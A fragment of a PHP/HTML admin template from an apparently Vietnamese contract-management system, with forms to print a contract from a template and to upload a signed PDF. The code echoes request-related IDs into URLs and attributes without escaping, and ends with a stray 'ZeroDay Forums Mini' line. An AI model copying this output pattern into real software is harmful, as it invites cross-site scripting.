                                <form action="?act=management&code=hopdong&type=print&customer_id=<?php echo $v_customer_id;?>&service_id=<?php echo $v_service_id;?>&service_event_id=<?php echo $v_service_event_id;?>" method="post" target="_blank">
                                    <input type="hidden" name="f[hopdong_id]" value="<?php echo $row_check['hopdong_id'];?>">
                                    <input type="hidden" name="f[customer_id]" value="<?php echo $v_customer_id;?>">
                                    <input type="hidden" name="f[service_cat]" value="<?php echo $row_service['service_cat'];?>">
                                    <input type="hidden" name="f[service_id]" value="<?php echo $v_service_id;?>">
                                    <input type="hidden" name="f[service_event_id]" value="<?php echo $v_service_event_id;?>">
                                    <table class="table table-bordered">
                                        <tr><th>Chá»n template</th><th>Tên template</th><th>Download template</th><th>#</th></tr>
                                        <?php echo $txt_template;?>
                                        <tr><td colspan="4"><button type="submit" name="submitbt_print" class="btn btn-warning"><i class="fas fa-print"></i> In hợp đồng <?php echo $row_check['hopdong_code'];?> - <?php echo $row_service['service_title'];?></button></td></tr>
                                    </table>
                                </form>
                            </div>
                        </div>
                    <?php } ?>
                    <?php
                    if($type=='upload_hopdong'){
                    ?>
                        <div class="card">
                            <div class="card-header">
                                <span>Upload hợp đồng đã ký</span>
                                <div class="card-tools">Số hợp đồng: <?php echo $row_check['hopdong_code'];?></div>
                            </div>
                            <div class="card-body">
                                <form action="?act=management&code=hopdong&type=upload_hopdong&customer_id=<?php echo $v_customer_id;?>&service_id=<?php echo $v_service_id;?>&service_event_id=<?php echo $v_service_event_id;?>" method="post" enctype="multipart/form-data" id="upload_hd_pdf">
                                    <input type="hidden" name="hopdong_id" value="<?php echo $row_check['hopdong_id'];?>">

                                    <div class="form-group">
                                        <label for="exampleInputFile">File hợp đồng đã ký (.pdf)</label>
                                        <div class="input-group">
                                            <div class="custom-file">
                                                <input type="file" class="custom-file-input" id="exampleInputFile_hd_pdf" name="file_hd_pdf">
                                                <label class="custom-file-label" for="exampleInputFile_hd_pdf"></label>
                                            </div>
                                            <div class="input-group-append">
                                                <span class="input-group-text" onclick="$('#upload_hd_pdf').submit();" style="cursor: pointer">Upload</span>
                                            </div>
                                        </div>
                                    </div>
                                </form>
                            </div>
                        </div>
                    <?php } ?>
                </div>
            </div>
        </div>
    </section>
</div>
    <!-- Page specific script -->
    <script>
        $(function () {
            bsCustomFileInput.init();
        });
    </script>
<?php
include ROOT_PATH . 'include/block/footer.php';
?>

ZeroDay Forums Mini